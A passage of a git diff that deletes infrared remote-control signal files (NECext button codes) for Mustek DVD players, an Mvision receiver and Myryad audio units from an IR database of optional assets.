03 00 00 00 -# -name: Volume -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 04 00 00 00 -# -name: F.Fwd -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 05 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 06 00 00 00 -# -name: Prev. -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 07 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 0A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 0B 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 10 00 00 00 -# -name: TV/DVD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 11 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 12 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 13 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 14 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 15 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1B 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1C 00 00 00 -# -name: DVControl -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1F 00 00 00 -# -name: MenuPBC -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 41 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 42 00 00 00 -# -name: GoTo -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 43 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 44 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 45 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 46 00 00 00 -# -name: F.Bwd -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 47 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 48 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 49 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 4A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 50 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 51 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 54 00 00 00 -# -name: Quality -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 55 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 58 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 59 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5C 00 00 00 -# -name: TVSystem -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir deleted file mode 100644 index 6ddae0069..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 00 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 01 00 00 00 -# -name: repeat_1-all -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 02 00 00 00 -# -name: repeat_A-B -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 04 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 05 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 06 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 07 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 0A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 0B 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 10 00 00 00 -# -name: vocal -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 11 00 00 00 -# -name: key -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 12 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 13 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1B 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1C 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1F 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 41 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 42 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 43 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 44 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 45 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 46 00 00 00 -# -name: fbwd -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 47 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 48 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 49 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 4A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 50 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 51 00 00 00 -# -name: echo -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 52 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 53 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 58 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 59 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5C 00 00 00 -# -name: tv_sys -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir deleted file mode 100644 index 236e2b4b8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 00 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 01 00 00 00 -# -name: X_KEY_1/all -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 02 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 04 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 05 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 06 00 00 00 -# -name: prev. -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 07 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 08 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 0A 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 0B 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 10 00 00 00 -# -name: vocal -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 11 00 00 00 -# -name: keyb -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 12 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 13 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 18 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 19 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1B 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1C 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 1F 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 41 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 42 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 43 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 44 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 45 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 46 00 00 00 -# -name: bwd -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 47 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 48 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 49 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 4A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 4B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 50 00 00 00 -# -name: key# -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 51 00 00 00 -# -name: echo- -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 52 00 00 00 -# -name: echo+ -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 53 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 58 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 59 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5C 00 00 00 -# -name: tvsys. -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 10 ED 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir deleted file mode 100644 index 29c958982..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: Fn -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C 00 00 00 -# -name: List_Ok -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 11 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: Audio/Red -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 13 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 16 00 00 00 -# -name: Tv/Radio -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 19 00 00 00 -# -name: Zoom_+ -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A 00 00 00 -# -name: Position/Green -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 41 00 00 00 -# -name: Zoom_- -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: Uhf -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 43 00 00 00 -# -name: Audio_Channel/Blue -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 44 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 45 00 00 00 -# -name: Pal/Ntsc -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 46 00 00 00 -# -name: Av/Tv -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir deleted file mode 100644 index b23fcfdb6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir deleted file mode 100644 index abd2331ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir deleted file mode 100644 index 3bc020ba6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir deleted file mode 100644 index fc2f53538..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir deleted file mode 100644 index 6fe80499f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir deleted file mode 100644 index 828711c81..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUX -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir deleted file mode 100644 index 9cbdafee2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir deleted file mode 100644 index b23fcfdb6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir deleted file mode 100644 index abd2331ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir deleted file mode 100644 index 28216abea..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1E 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1F 00 00 00 -# -name: MANUAL -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 25 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 26 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 27 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 29 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir deleted file mode 100644 index fc2f53538..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir deleted file mode 100644 index a7d456786..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 -# -name: DIM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir deleted file mode 100644 index 828711c81..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir +++ /dev/null 